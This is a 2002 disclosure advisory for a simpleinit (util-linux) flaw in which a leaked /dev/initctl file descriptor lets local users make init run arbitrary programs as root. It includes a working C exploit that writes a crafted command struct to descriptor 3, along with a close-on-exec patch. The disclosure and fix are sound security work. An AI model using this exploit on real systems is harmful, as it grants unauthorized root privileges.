simpleinit root exploit - file descriptor left open

[Patrick Smith <patsmith () pobox com>]

Background
----------

Simpleinit is an init program for Linux systems.  It is included in the 
util-linux distribution.  More information about simpleinit is available 
at <http://www.atnf.csiro.au/people/rgooch/linux/boot-scripts/>.

Problem
-------

Simpleinit leaves a file descriptor open in some child processes.

The descriptor is used by simpleinit to read messages from a FIFO 
(/dev/initctl); this FIFO is normally used by the initctl, need, and 
provide programs to pass instructions to simpleinit.  However, 
simpleinit opens the FIFO read-write, so any process that inherits the 
descriptor can pass instructions to simpleinit.

(Opening the FIFO read-write is not a bug; rather it ensures there is 
always a writer for the FIFO, so EOF is not reported.)

This has been observed in the simpleinit from util-linux 2.11r (the 
latest version).

Impact
------

A local user with a process that inherits the file descriptor can easily 
cause simpleinit to execute an arbitrary program or script with root 
privileges.  There are assuredly numerous other local exploits.

There may also be some remote exploits.  For example, if an ftp server 
allows access to file descriptors through the /proc filesystem.

Not all processes inherit the file descriptors.  Getty processes started 
from lines in /etc/inittab do not, so users logging in on the virtual 
consoles will typically not have access to this exploit.  On the other 
hand, if the boot scripts start xdm, then a user logging in through xdm 
will be able to use the file descriptor.

Exploit
-------

A sample exploit program is attached.

Patch
-----

A small patch is attached.

Vendor notification
-------------------

Richard Gooch <rgooch () atnf csiro au>, the simpleinit maintainer, was 
notified of this problem May 20, 2002.

On May 26, I learned of the simpleinit-msb variant 
<http://www.winterdrache.de/linux/newboot/>, maintained by Matthias 
Benkmann <m.s.b () gmx net>, and notified him of this problem.  He released 
a patched version of simpleinit-msb the same day.  (Kudos for the fast 
reaction!)

--
patsmith () pobox com

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include "simpleinit.h"  /* From the util-linux source */

int main()
{
   int fd = 3;
   char buf[COMMAND_SIZE];
   struct command_struct* cmd = (struct command_struct*) buf;

   memset(buf, '\0', sizeof(buf));
   cmd->command = COMMAND_NEED;
   cmd->pid = 17;
   cmd->ppid = 16;
   strcpy(cmd->name, "/home/pat/x/foo");  /* foo will be run as root */
   write(fd, buf, COMMAND_SIZE);
   return 0;
}

--- login-utils/simpleinit.c.orig       2001-09-29 11:09:10.000000000 -0400
+++ login-utils/simpleinit.c    2002-05-23 22:16:07.000000000 -0400
@@ -203,6 +203,18 @@
                if ( ( initctl_fd = open (initctl_name, O_RDWR, 0) ) < 0 )
                        err ( _("error opening fifo\n") );
        }
+        if ( initctl_fd >= 0 )
+                if ( fcntl (initctl_fd, F_SETFD, FD_CLOEXEC) != 0 ) {
+                        err ( _("error setting close-on-exec on /dev/initctl") );
+                        /* Can the fcntl ever fail?  If it does, and we leave
+                           the descriptor open in child processes, then any
+                           process on the system will be able to write to
+                           /dev/initctl and have us execute arbitrary commands
+                           as root. So let's refuse to use the fifo in this
+                           case. */
+                        close(initctl_fd);
+                        initctl_fd = -1;
+                }
 
        if ( want_single || (access (_PATH_SINGLE, R_OK) == 0) ) do_single ();